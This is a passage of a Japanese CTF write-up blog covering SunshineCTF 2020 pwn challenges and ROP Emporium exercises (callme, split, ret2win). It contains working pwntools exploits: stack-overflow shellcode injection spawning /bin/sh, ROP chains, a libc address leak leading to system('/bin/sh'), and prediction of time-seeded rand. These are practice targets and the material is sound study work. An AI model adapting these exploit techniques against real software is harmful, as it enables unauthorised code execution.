p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x000000000040120c) # syscall

r.sendline()
r.sendline(p)
r.interactive()

flag: sun{hail-to-the-king-c24f18e818fb4986}

15 (46 Pts)

長いので一部だけ.

gdb-peda$ disas vuln
Dump of assembler code for function vuln:
   0x000000000000071a <+0>:     push   rbp
   0x000000000000071b <+1>:     mov    rbp,rsp
   0x000000000000071e <+4>:     sub    rsp,0x50
   0x0000000000000722 <+8>:     lea    rax,[rbp-0x46]
   0x0000000000000726 <+12>:    mov    rsi,rax
   0x0000000000000729 <+15>:    lea    rdi,[rip+0x158]        # 0x888
   0x0000000000000730 <+22>:    mov    eax,0x0
   0x0000000000000735 <+27>:    call   0x5d0 <printf@plt>

   0x000000000000079c <+130>:   lea    rax,[rbp-0x46]
   0x00000000000007a0 <+134>:   mov    esi,0x5a
   0x00000000000007a5 <+139>:   mov    rdi,rax
   0x00000000000007a8 <+142>:   call   0x5e0 <fgets@plt>
   0x00000000000007ad <+147>:   cmp    DWORD PTR [rbp-0x3c],0xfacade
   0x00000000000007b4 <+154>:   je     0x7c9 <vuln+175>
   0x00000000000007b6 <+156>:   cmp    DWORD PTR [rbp-0x4],0xfacade
   0x00000000000007bd <+163>:   je     0x7c9 <vuln+175>
   0x00000000000007bf <+165>:   mov    edi,0x0
   0x00000000000007c4 <+170>:   call   0x5f0 <exit@plt>
   0x00000000000007c9 <+175>:   nop
   0x00000000000007ca <+176>:   leave  
   0x00000000000007cb <+177>:   ret    
End of assembler dump.

2回目の入力の前にアドレスrbp-0x46が表示される.
vulnfgetsは入力をrbp-0x46からの領域に格納するが, 0x5a文字書き込めるためBOFが起きる. また, rbp-0x3crbp-0x4の値が0xfacadeでないとexitが実行され終了してしまう.
0xa(=0x46-0x3c)文字後に0xfacadeとシェルコードを置く. リターンアドレスを, 表示されるアドレス+0x12(=0xa+0x8)に書き換えるとリターン時にシェルコードが実行される.

from pwn import *

# p=process('./chall_15')
p=remote('chal.2020.sunshinectf.org',30015)
e=ELF('./chall_15')

# http://shell-storm.org/shellcode/files/shellcode-806.php
shellcode=b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

p.sendline()
p.recvuntil(': ')
buf=int(p.recv(14)[2:],16)+18

payload=b'A'*10
payload+=p64(0xfacade)
payload+=shellcode
payload+=b'A'*(0x46+0x8-len(payload))
payload+=p64(buf)

p.sendline(payload)
p.interactive()

flag: sun{bat-country-53036e8a423559df}

16 (44 Pts)

長いのでGhidraでデコンパイル

void main(void)

{
    size_t sVar1;
    size_t sVar2;
    long in_FS_OFFSET;
    int local_60;
    char local_58 [56];
    long local_20;
    
    local_20 = *(long *)(in_FS_OFFSET + 0x28);
    fgets(local_58,0x31,stdin);
    sVar1 = strlen(local_58);
    sVar2 = strlen(key);
    if (sVar1 == sVar2) {
        local_60 = 0;
        while( true ) {
        sVar1 = strlen(key);
        if (sVar1 <= (ulong)(long)local_60) break;
        if (local_58[local_60] != key[local_60]) {
                        /* WARNING: Subroutine does notreturn */
            exit(0);
        }
        local_60 = local_60 + 1;
        }
        system("/bin/sh");
    }
    if (local_20 != *(long *)(in_FS_OFFSET +0x28)) {
                        /* WARNING: Subroutine does notreturn */
        __stack_chk_fail();
    }
    return;
}

keyであるQueue epic guitar solo *syn starts shredding*を入力するとシェルが起動する.

$ nc chal.2020.sunshinectf.org 30016
Queue epic guitar solo *syn starts shredding*
ls
chall_16
flag.txt
cat flag.txt
sun{beast-and-the-harlot-73058b6d2812c771}
exit

flag: sun{beast-and-the-harlot-73058b6d2812c771}

17 (46 Pts)

gdb-peda$ disas main
Dump of assembler code for function main:
   0x00000000000009b9 <+0>:     push   rbp
   0x00000000000009ba <+1>:     mov    rbp,rsp
   0x00000000000009bd <+4>:     sub    rsp,0x10
   0x00000000000009c1 <+8>:     mov    rax,QWORD PTR fs:0x28
   0x00000000000009ca <+17>:    mov    QWORD PTR [rbp-0x8],rax
   0x00000000000009ce <+21>:    xor    eax,eax
   0x00000000000009d0 <+23>:    mov    edi,0x0
   0x00000000000009d5 <+28>:    call   0x7f0 <time@plt>
   0x00000000000009da <+33>:    mov    edi,eax
   0x00000000000009dc <+35>:    call   0x7e0 <srand@plt>
   0x00000000000009e1 <+40>:    call   0x830 <rand@plt>
   0x00000000000009e6 <+45>:    mov    DWORD PTR [rbp-0xc],eax
   0x00000000000009e9 <+48>:    lea    rax,[rbp-0x10]
   0x00000000000009ed <+52>:    mov    rsi,rax
   0x00000000000009f0 <+55>:    lea    rdi,[rip+0xf3]        # 0xaea
   0x00000000000009f7 <+62>:    mov    eax,0x0
   0x00000000000009fc <+67>:    call   0x810 <__isoc99_scanf@plt>
   0x0000000000000a01 <+72>:    mov    eax,DWORD PTR [rbp-0x10]
   0x0000000000000a04 <+75>:    cmp    DWORD PTR [rbp-0xc],eax
   0x0000000000000a07 <+78>:    jne    0xa10 <main+87>
   0x0000000000000a09 <+80>:    call   0x95a <win>
   0x0000000000000a0e <+85>:    jmp    0xa29 <main+112>
   0x0000000000000a10 <+87>:    mov    eax,DWORD PTR [rbp-0x10]
   0x0000000000000a13 <+90>:    mov    edx,DWORD PTR [rbp-0xc]
   0x0000000000000a16 <+93>:    mov    esi,eax
   0x0000000000000a18 <+95>:    lea    rdi,[rip+0xce]        # 0xaed
   0x0000000000000a1f <+102>:   mov    eax,0x0
   0x0000000000000a24 <+107>:   call   0x7c0 <printf@plt>
   0x0000000000000a29 <+112>:   nop
   0x0000000000000a2a <+113>:   mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000000a2e <+117>:   xor    rax,QWORD PTR fs:0x28
   0x0000000000000a37 <+126>:   je     0xa3e <main+133>
   0x0000000000000a39 <+128>:   call   0x7b0 <__stack_chk_fail@plt>
   0x0000000000000a3e <+133>:   leave  
   0x0000000000000a3f <+134>:   ret    
End of assembler dump.

入力した数字がrandで生成されたランダムな整数と一致するとwinが実行されフラグが表示される. 一致しない場合は, 生成された整数が表示される.
srandに同じ引数を与えるとrandは同じ値を返す. ここではsrandの引数にはtimeで取得した現在時刻が与えられる.
スクリプトで処理することで同じ値を生成させる. 1回目で生成された整数を取得し, 2回目でその整数を入力する.

from pwn import *

# p=process('./chall_17')
p=remote('chal.2020.sunshinectf.org',30017)
p.sendline(str(0))
num=p.recv().split(b'\n')[1][len("Expected: "):]
print(num)
# p.kill()

# p=process('./chall_17')
p=remote('chal.2020.sunshinectf.org',30017)
p.sendline(num)
print(p.recv())

flag: sun{unholy-confessions-b74c1ed1f1d486fe}

ROP Emporium callme (32bit)

ROP Emporium


ROP Emporium
ROPの練習サイトです.
2020年7月に更新されていろいろ変わってるみたい.

callme (32bit)


$ ./callme32 
callme by ROP Emporium
x86

Hope you read the instructions...

> aaaa
Thank you!

Exiting
$ ./callme32 
callme by ROP Emporium
x86

Hope you read the instructions...

> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Thank you!

Exiting
Segmentation fault

gdbで解析していきます.

$ gdb ./callme32
gdb-peda$ i func
All defined functions:

Non-debugging symbols:
0x0804848c  _init
0x080484c0  read@plt
0x080484d0  printf@plt
0x080484e0  callme_three@plt
0x080484f0  callme_one@plt
0x08048500  puts@plt
0x08048510  exit@plt
0x08048520  __libc_start_main@plt
0x08048530  setvbuf@plt
0x08048540  memset@plt
0x08048550  callme_two@plt
0x08048560  __gmon_start__@plt
0x08048570  _start
0x080485b0  _dl_relocate_static_pie
0x080485c0  __x86.get_pc_thunk.bx
0x080485d0  deregister_tm_clones
0x08048610  register_tm_clones
0x08048650  __do_global_dtors_aux
0x08048680  frame_dummy
0x08048686  main
0x080486ed  pwnme
0x0804874f  usefulFunction
0x080487a0  __libc_csu_init
0x08048800  __libc_csu_fini
0x08048804  _fini

usefulFunctionを見てみます.

gdb-peda$ disas usefulFunction 
Dump of assembler code for function usefulFunction:
   0x0804874f <+0>:     push   ebp
   0x08048750 <+1>:     mov    ebp,esp
   0x08048752 <+3>:     sub    esp,0x8
   0x08048755 <+6>:     sub    esp,0x4
   0x08048758 <+9>:     push   0x6
   0x0804875a <+11>:    push   0x5
   0x0804875c <+13>:    push   0x4
   0x0804875e <+15>:    call   0x80484e0 <callme_three@plt>
   0x08048763 <+20>:    add    esp,0x10
   0x08048766 <+23>:    sub    esp,0x4
   0x08048769 <+26>:    push   0x6
   0x0804876b <+28>:    push   0x5
   0x0804876d <+30>:    push   0x4
   0x0804876f <+32>:    call   0x8048550 <callme_two@plt>
   0x08048774 <+37>:    add    esp,0x10
   0x08048777 <+40>:    sub    esp,0x4
   0x0804877a <+43>:    push   0x6
   0x0804877c <+45>:    push   0x5
   0x0804877e <+47>:    push   0x4
   0x08048780 <+49>:    call   0x80484f0 <callme_one@plt>
   0x08048785 <+54>:    add    esp,0x10
   0x08048788 <+57>:    sub    esp,0xc
   0x0804878b <+60>:    push   0x1
   0x0804878d <+62>:    call   0x8048510 <exit@plt>
End of assembler dump.

callme_one, callme_two, callme_threeが呼ばれています. 引数が3つ必要みたいで4,5,6が指定されています.
プログラムを走らせてcallme_oneを見てみます.

gdb-peda$ start
gdb-peda$ disas callme_one
Dump of assembler code for function callme_one:
   0xf7fca63d <+0>:     push   ebp
   0xf7fca63e <+1>:     mov    ebp,esp
   0xf7fca640 <+3>:     push   ebx
   0xf7fca641 <+4>:     sub    esp,0x14
   0xf7fca644 <+7>:     call   0xf7fca540 <__x86.get_pc_thunk.bx>
   0xf7fca649 <+12>:    add    ebx,0x19b7
   0xf7fca64f <+18>:    cmp    DWORD PTR [ebp+0x8],0xdeadbeef
   0xf7fca656 <+25>:    jne    0xf7fca733 <callme_one+246>
   0xf7fca65c <+31>:    cmp    DWORD PTR [ebp+0xc],0xcafebabe
   0xf7fca663 <+38>:    jne    0xf7fca733 <callme_one+246>
   0xf7fca669 <+44>:    cmp    DWORD PTR [ebp+0x10],0xd00df00d
   0xf7fca670 <+51>:    jne    0xf7fca733 <callme_one+246>
   0xf7fca676 <+57>:    mov    DWORD PTR [ebp-0xc],0x0
   0xf7fca67d <+64>:    sub    esp,0x8
   0xf7fca680 <+67>:    lea    eax,[ebx-0x1600]
   0xf7fca686 <+73>:    push   eax
   0xf7fca687 <+74>:    lea    eax,[ebx-0x15fe]
   0xf7fca68d <+80>:    push   eax
   0xf7fca68e <+81>:    call   0xf7fca510 <fopen@plt>
   0xf7fca693 <+86>:    add    esp,0x10
   0xf7fca696 <+89>:    mov    DWORD PTR [ebp-0xc],eax
   0xf7fca699 <+92>:    cmp    DWORD PTR [ebp-0xc],0x0
   0xf7fca69d <+96>:    jne    0xf7fca6bb <callme_one+126>
   0xf7fca69f <+98>:    sub    esp,0xc
   0xf7fca6a2 <+101>:   lea    eax,[ebx-0x15e8]
   0xf7fca6a8 <+107>:   push   eax
   0xf7fca6a9 <+108>:   call   0xf7fca4f0 <puts@plt>
   0xf7fca6ae <+113>:   add    esp,0x10
   0xf7fca6b1 <+116>:   sub    esp,0xc
   0xf7fca6b4 <+119>:   push   0x1
   0xf7fca6b6 <+121>:   call   0xf7fca500 <exit@plt>
   0xf7fca6bb <+126>:   sub    esp,0xc
   0xf7fca6be <+129>:   push   0x21
   0xf7fca6c0 <+131>:   call   0xf7fca4e0 <malloc@plt>
   0xf7fca6c5 <+136>:   add    esp,0x10
   0xf7fca6c8 <+139>:   mov    DWORD PTR [ebx+0x30],eax
   0xf7fca6ce <+145>:   mov    eax,DWORD PTR [ebx+0x30]
   0xf7fca6d4 <+151>:   test   eax,eax
   0xf7fca6d6 <+153>:   jne    0xf7fca6f4 <callme_one+183>
   0xf7fca6d8 <+155>:   sub    esp,0xc
   0xf7fca6db <+158>:   lea    eax,[ebx-0x15c6]
   0xf7fca6e1 <+164>:   push   eax
   0xf7fca6e2 <+165>:   call   0xf7fca4f0 <puts@plt>
   0xf7fca6e7 <+170>:   add    esp,0x10
   0xf7fca6ea <+173>:   sub    esp,0xc
   0xf7fca6ed <+176>:   push   0x1
   0xf7fca6ef <+178>:   call   0xf7fca500 <exit@plt>
   0xf7fca6f4 <+183>:   mov    eax,DWORD PTR [ebx+0x30]
   0xf7fca6fa <+189>:   sub    esp,0x4
   0xf7fca6fd <+192>:   push   DWORD PTR [ebp-0xc]
   0xf7fca700 <+195>:   push   0x21
   0xf7fca702 <+197>:   push   eax
   0xf7fca703 <+198>:   call   0xf7fca4c0 <fgets@plt>
   0xf7fca708 <+203>:   add    esp,0x10
   0xf7fca70b <+206>:   mov    DWORD PTR [ebx+0x30],eax
   0xf7fca711 <+212>:   sub    esp,0xc
   0xf7fca714 <+215>:   push   DWORD PTR [ebp-0xc]
   0xf7fca717 <+218>:   call   0xf7fca4d0 <fclose@plt>
   0xf7fca71c <+223>:   add    esp,0x10
   0xf7fca71f <+226>:   sub    esp,0xc
   0xf7fca722 <+229>:   lea    eax,[ebx-0x15ac]
   0xf7fca728 <+235>:   push   eax
   0xf7fca729 <+236>:   call   0xf7fca4f0 <puts@plt>
   0xf7fca72e <+241>:   add    esp,0x10
   0xf7fca731 <+244>:   jmp    0xf7fca74f <callme_one+274>
   0xf7fca733 <+246>:   sub    esp,0xc
   0xf7fca736 <+249>:   lea    eax,[ebx-0x158e]
   0xf7fca73c <+255>:   push   eax
   0xf7fca73d <+256>:   call   0xf7fca4f0 <puts@plt>
   0xf7fca742 <+261>:   add    esp,0x10
   0xf7fca745 <+264>:   sub    esp,0xc
   0xf7fca748 <+267>:   push   0x1
   0xf7fca74a <+269>:   call   0xf7fca500 <exit@plt>
   0xf7fca74f <+274>:   nop
   0xf7fca750 <+275>:   mov    ebx,DWORD PTR [ebp-0x4]
   0xf7fca753 <+278>:   leave  
   0xf7fca754 <+279>:   ret    
End of assembler dump.

第1引数が0xdeadbeef, 第2引数が0xcafebabe, 第3引数が0xd00df00dでないとダメみたいです. その後, fopenが呼ばれています.
callme_two, callme_threecallme_oneと同様に引数のチェックが行われ, fopenが呼ばれています.
ここにあるように適切な引数でcallme_one, callme_two, callme_threeの順に呼び出せばよさそうです.
mainpwnmeret2winと同じで, pwnmeバッファオーバーフローが起こります. offsetは44.
関数を順番に実行するにはリターンアドレスを次に実行する関数のアドレスにすればいいですが, 引数の配置が悪く実行できません. そこで引数をpopしてからretすることで次の関数を実行できます. ここでは3つの引数があるのでpopを3回してからretします.

gdb-peda$ ropgadget
ret = 0x8048496
popret = 0x80484ad
pop2ret = 0x80487fa
pop3ret = 0x80487f9
pop4ret = 0x80487f8
addesp_12 = 0x80484aa
addesp_16 = 0x80485f2

0x80487f9にとばせばpopを3回してからretしてくれます.

+--------------------+
|        AAAA        |
+--------------------+
|   callme_one@plt   |
+--------------------+
|       pop3ret      |
+--------------------+
|     0xdeadbeef     |
+--------------------+
|     0xcafebabe     |
+--------------------+
|     0xd00df00d     |
+--------------------+
|   callme_two@plt   |
+--------------------+
|       pop3ret      |
+--------------------+
|     0xdeadbeef     |
+--------------------+
|     0xcafebabe     |
+--------------------+
|     0xd00df00d     |
+--------------------+
|  callme_three@plt  |
+--------------------+
|       pop3ret      |
+--------------------+
|     0xdeadbeef     |
+--------------------+
|     0xcafebabe     |
+--------------------+
|     0xd00df00d     |
+--------------------+

スクリプトを書いた.

from pwn import *

p=process('./callme32')
e=ELF('./callme32')

callme_one_plt=e.plt['callme_one']
callme_two_plt=e.plt['callme_two']
callme_three_plt=e.plt['callme_three']
pop3ret=0x80487f9
arg1=0xdeadbeef
arg2=0xcafebabe
arg3=0xd00df00d

payload=b'A'*44
payload+=p32(callme_one_plt)
payload+=p32(pop3ret)
payload+=p32(arg1)
payload+=p32(arg2)
payload+=p32(arg3)
payload+=p32(callme_two_plt)
payload+=p32(pop3ret)
payload+=p32(arg1)
payload+=p32(arg2)
payload+=p32(arg3)
payload+=p32(callme_three_plt)
payload+=p32(pop3ret)
payload+=p32(arg1)
payload+=p32(arg2)
payload+=p32(arg3)

p.recv()
p.sendline(payload)
print(p.recvall().decode())

別解


シェルの起動を目指します.
GOT領域に存在するlibc内の関数のアドレスをリークしてそれをもとに各関数のアドレスを計算します.
libc内での各関数のアドレスを調べます. また, /bin/shが必要なのでそのアドレスも調べます.

$ ldd ./callme32 
        linux-gate.so.1 (0xf7f92000)
        libcallme32.so => ./libcallme32.so (0xf7f8a000)
        libc.so.6 => /lib32/libc.so.6 (0xf7d8c000)
        /lib/ld-linux.so.2 (0xf7f93000)
$ nm -D /lib32/libc.so.6 | grep system
00044f00 T __libc_system
001344e0 T svcerr_systemerr
00044f00 W system
$ nm -D /lib32/libc.so.6 | grep puts
0006eae0 T _IO_fputs
00070320 T _IO_puts
0006eae0 W fputs
00079a70 W fputs_unlocked
00070320 W puts
0010afb0 T putsgent
001093a0 T putspent
$ strings -tx /lib32/libc.so.6 | grep /bin/sh
 18c32b /bin/sh

やることは以下の通りです.

  • puts関数でputsのGOTアドレスをリーク
  • mainに戻る
  • リークしたアドレスをもとに関数と引数のアドレスを計算
  • system("/bin/sh")を実行
from pwn import *

p=process('./callme32')

e=ELF('./callme32')
puts_plt=e.plt['puts']
puts_got=e.got['puts']
main=e.symbols['main']
pop_ret=0x80484ad
system_libc=0x00044f00
puts_libc=0x00070320
arg_libc=0x18c32b

payload=b'A'*44
payload+=p32(puts_plt)
payload+=p32(pop_ret)
payload+=p32(puts_got)
payload+=p32(main)

p.recv()
p.sendline(payload)

p.recvuntil('Thank you!\n')
libc=u32(p.recv(4))-puts_libc
system=libc+system_libc
arg=libc+arg_libc
print(hex(libc))

payload=b'A'*44
payload+=p32(system)
payload+=b'BBBB'
payload+=p32(arg)

p.recv()
p.sendline(payload)
p.interactive()

ROP Emporium split (32bit)

ROP Emporium


ROP Emporium
ROPの練習サイトです.
2020年7月に更新されていろいろ変わってるみたい.

split (32bit)


$ ./split32 
split by ROP Emporium
x86

Contriving a reason to ask user for data...
> aaaa
Thank you!

Exiting
$ ./split32 
split by ROP Emporium
x86

Contriving a reason to ask user for data...
> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Thank you!
Segmentation fault

gdbで解析していきます.

$ gdb ./split32
gdb-peda$ i func
All defined functions:

Non-debugging symbols:
0x08048374  _init
0x080483b0  read@plt
0x080483c0  printf@plt
0x080483d0  puts@plt
0x080483e0  system@plt
0x080483f0  __libc_start_main@plt
0x08048400  setvbuf@plt
0x08048410  memset@plt
0x08048420  __gmon_start__@plt
0x08048430  _start
0x08048470  _dl_relocate_static_pie
0x08048480  __x86.get_pc_thunk.bx
0x08048490  deregister_tm_clones
0x080484d0  register_tm_clones
0x08048510  __do_global_dtors_aux
0x08048540  frame_dummy
0x08048546  main
0x080485ad  pwnme
0x0804860c  usefulFunction
0x08048630  __libc_csu_init
0x08048690  __libc_c

usefulFunctionを見てみます.

gdb-peda$ disas usefulFunction 
Dump of assembler code for function usefulFunction:
   0x0804860c <+0>:     push   ebp
   0x0804860d <+1>:     mov    ebp,esp
   0x0804860f <+3>:     sub    esp,0x8
   0x08048612 <+6>:     sub    esp,0xc
   0x08048615 <+9>:     push   0x804870e
   0x0804861a <+14>:    call   0x80483e0 <system@plt>
   0x0804861f <+19>:    add    esp,0x10
   0x08048622 <+22>:    nop
   0x08048623 <+23>:    leave  
   0x08048624 <+24>:    ret    
End of assembler dump.
gdb-peda$ x/s 0x804870e
0x804870e:      "/bin/ls"

system("/bin/ls")するだけ.
他のシンボルを調べます.

gdb-peda$ i var
All defined variables:

Non-debugging symbols:
0x080486a8  _fp_hw
0x080486ac  _IO_stdin_used
0x08048718  __GNU_EH_FRAME_HDR
0x08048894  __FRAME_END__
0x08049f0c  __frame_dummy_init_array_entry
0x08049f0c  __init_array_start
0x08049f10  __do_global_dtors_aux_fini_array_entry
0x08049f10  __init_array_end
0x08049f14  _DYNAMIC
0x0804a000  _GLOBAL_OFFSET_TABLE_
0x0804a028  __data_start
0x0804a028  data_start
0x0804a02c  __dso_handle
0x0804a030  usefulString
0x0804a042  __bss_start
0x0804a042  _edata
0x0804a044  __TMC_END__
0x0804a044  stdout
0x0804a044  stdout@@GLIBC_2.0
0x0804a048  completed
0x0804a04c  _end

usefulStringを見てみます.

gdb-peda$ x/s 0x0804a030
0x804a030 <usefulString>:       "/bin/cat flag.txt"

使えそうな文字列です.
mainpwnmeret2winと同じ. pwnmeバッファオーバーフローが起こる. offsetは44.
ということでリターンアドレスを書き換えてsystem("/bin/cat flag.txt")を実行します.

+--------------------+
|        AAAA        |
+--------------------+
|     system@plt     |
+--------------------+
|        BBBB        |
+--------------------+
|    usefulString    |
+--------------------+

(今回も必要ない気がするけど)スクリプトを書いた.

from pwn import *

p=process('./split32')
e=ELF('./split32')

plt_system=e.plt['system']
usefulString=e.symbols['usefulString']

payload=b'A'*44
payload+=p32(plt_system)
payload+=b'BBBB'
payload+=p32(usefulString)

p.recv()
p.sendline(payload)
print(p.recvall().decode())

ROP Emporium ret2win (32bit)

ROP Emporium


ROP Emporium
ROPの練習サイトです.
2020年7月に更新されていろいろ変わってるみたい.

ret2win (32bit)


$ ./ret2win32 
ret2win by ROP Emporium
x86

For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!

> aaaa
Thank you!

Exiting
$ ./ret2win32
ret2win by ROP Emporium
x86

For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!

> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Thank you!
Segmentation fault

gdbで解析していきます.

$ gdb ./ret2win 
gdb-peda$ i func
All defined functions:

Non-debugging symbols:
0x08048374  _init
0x080483b0  read@plt
0x080483c0  printf@plt
0x080483d0  puts@plt
0x080483e0  system@plt
0x080483f0  __libc_start_main@plt
0x08048400  setvbuf@plt
0x08048410  memset@plt
0x08048420  __gmon_start__@plt
0x08048430  _start
0x08048470  _dl_relocate_static_pie
0x08048480  __x86.get_pc_thunk.bx
0x08048490  deregister_tm_clones
0x080484d0  register_tm_clones
0x08048510  __do_global_dtors_aux
0x08048540  frame_dummy
0x08048546  main
0x080485ad  pwnme
0x0804862c  ret2win
0x08048660  __libc_csu_init
0x080486c0  __libc_csu_fini
0x080486c4  _fini

ret2winという関数があります.

gdb-peda$ disas ret2win 
Dump of assembler code for function ret2win:
   0x0804862c <+0>:     push   ebp
   0x0804862d <+1>:     mov    ebp,esp
   0x0804862f <+3>:     sub    esp,0x8
   0x08048632 <+6>:     sub    esp,0xc
   0x08048635 <+9>:     push   0x80487f6
   0x0804863a <+14>:    call   0x80483d0 <puts@plt>
   0x0804863f <+19>:    add    esp,0x10
   0x08048642 <+22>:    sub    esp,0xc
   0x08048645 <+25>:    push   0x8048813
   0x0804864a <+30>:    call   0x80483e0 <system@plt>
   0x0804864f <+35>:    add    esp,0x10
   0x08048652 <+38>:    nop
   0x08048653 <+39>:    leave  
   0x08048654 <+40>:    ret    
End of assembler dump.
gdb-peda$ x/s 0x8048813
0x8048813:      "/bin/cat flag.txt"

flag.txtを表示してくれる関数みたい.
mainを見ていきます.

gdb-peda$ disas main
Dump of assembler code for function main:
   0x08048546 <+0>:     lea    ecx,[esp+0x4]
   0x0804854a <+4>:     and    esp,0xfffffff0
   0x0804854d <+7>:     push   DWORD PTR [ecx-0x4]
   0x08048550 <+10>:    push   ebp
   0x08048551 <+11>:    mov    ebp,esp
   0x08048553 <+13>:    push   ecx
   0x08048554 <+14>:    sub    esp,0x4
   0x08048557 <+17>:    mov    eax,ds:0x804a030
   0x0804855c <+22>:    push   0x0
   0x0804855e <+24>:    push   0x2
   0x08048560 <+26>:    push   0x0
   0x08048562 <+28>:    push   eax
   0x08048563 <+29>:    call   0x8048400 <setvbuf@plt>
   0x08048568 <+34>:    add    esp,0x10
   0x0804856b <+37>:    sub    esp,0xc
   0x0804856e <+40>:    push   0x80486e0
   0x08048573 <+45>:    call   0x80483d0 <puts@plt>
   0x08048578 <+50>:    add    esp,0x10
   0x0804857b <+53>:    sub    esp,0xc
   0x0804857e <+56>:    push   0x80486f8
   0x08048583 <+61>:    call   0x80483d0 <puts@plt>
   0x08048588 <+66>:    add    esp,0x10
   0x0804858b <+69>:    call   0x80485ad <pwnme>
   0x08048590 <+74>:    sub    esp,0xc
   0x08048593 <+77>:    push   0x80486fd
   0x08048598 <+82>:    call   0x80483d0 <puts@plt>
   0x0804859d <+87>:    add    esp,0x10
   0x080485a0 <+90>:    mov    eax,0x0
   0x080485a5 <+95>:    mov    ecx,DWORD PTR [ebp-0x4]
   0x080485a8 <+98>:    leave  
   0x080485a9 <+99>:    lea    esp,[ecx-0x4]
   0x080485ac <+102>:   ret    
End of assembler dump.

pwnmeが呼ばれています.

gdb-peda$ disas pwnme 
Dump of assembler code for function pwnme:
   0x080485ad <+0>:     push   ebp
   0x080485ae <+1>:     mov    ebp,esp
   0x080485b0 <+3>:     sub    esp,0x28
   0x080485b3 <+6>:     sub    esp,0x4
   0x080485b6 <+9>:     push   0x20
   0x080485b8 <+11>:    push   0x0
   0x080485ba <+13>:    lea    eax,[ebp-0x28]
   0x080485bd <+16>:    push   eax
   0x080485be <+17>:    call   0x8048410 <memset@plt>
   0x080485c3 <+22>:    add    esp,0x10
   0x080485c6 <+25>:    sub    esp,0xc
   0x080485c9 <+28>:    push   0x8048708
   0x080485ce <+33>:    call   0x80483d0 <puts@plt>
   0x080485d3 <+38>:    add    esp,0x10
   0x080485d6 <+41>:    sub    esp,0xc
   0x080485d9 <+44>:    push   0x8048768
   0x080485de <+49>:    call   0x80483d0 <puts@plt>
   0x080485e3 <+54>:    add    esp,0x10
   0x080485e6 <+57>:    sub    esp,0xc
   0x080485e9 <+60>:    push   0x8048788
   0x080485ee <+65>:    call   0x80483d0 <puts@plt>
   0x080485f3 <+70>:    add    esp,0x10
   0x080485f6 <+73>:    sub    esp,0xc
   0x080485f9 <+76>:    push   0x80487e8
   0x080485fe <+81>:    call   0x80483c0 <printf@plt>
   0x08048603 <+86>:    add    esp,0x10
   0x08048606 <+89>:    sub    esp,0x4
   0x08048609 <+92>:    push   0x38
   0x0804860b <+94>:    lea    eax,[ebp-0x28]
   0x0804860e <+97>:    push   eax
   0x0804860f <+98>:    push   0x0
   0x08048611 <+100>:   call   0x80483b0 <read@plt>
   0x08048616 <+105>:   add    esp,0x10
   0x08048619 <+108>:   sub    esp,0xc
   0x0804861c <+111>:   push   0x80487eb
   0x08048621 <+116>:   call   0x80483d0 <puts@plt>
   0x08048626 <+121>:   add    esp,0x10
   0x08048629 <+124>:   nop
   0x0804862a <+125>:   leave  
   0x0804862b <+126>:   ret    
End of assembler dump.

memsetで32(=0x20)byteしか確保されてないけど, readで最大56(=0x38)byteまで読み込める. ここでバッファオーバーフローが起きそうです.
offsetを調べます.

gdb-peda$ pattc 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ r 
[----------------------------------registers-----------------------------------]
EAX: 0xb ('\x0b')
EBX: 0x0 
ECX: 0xffffffff 
EDX: 0xffffffff 
ESI: 0xf7fb4000 --> 0x1e4d6c 
EDI: 0xf7fb4000 --> 0x1e4d6c 
EBP: 0x41304141 ('AA0A')
ESP: 0xffffdbc0 ("bAA1AAGA")
EIP: 0x41414641 ('AFAA')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
gdb-peda$ patto AFAA
AFAA found at offset: 44

offsetは44
リターンアドレスを書き換えてret2winを呼び出します.
(今回は必要ない気がするけど)スクリプトを書いた.

from pwn import *

p=process('./ret2win32')
e=ELF('./ret2win32')

ret2win=e.symbols['ret2win']
payload=b'A'*44+p32(ret2win)

p.recv()
p.sendline(payload)
print(p.recvall().decode())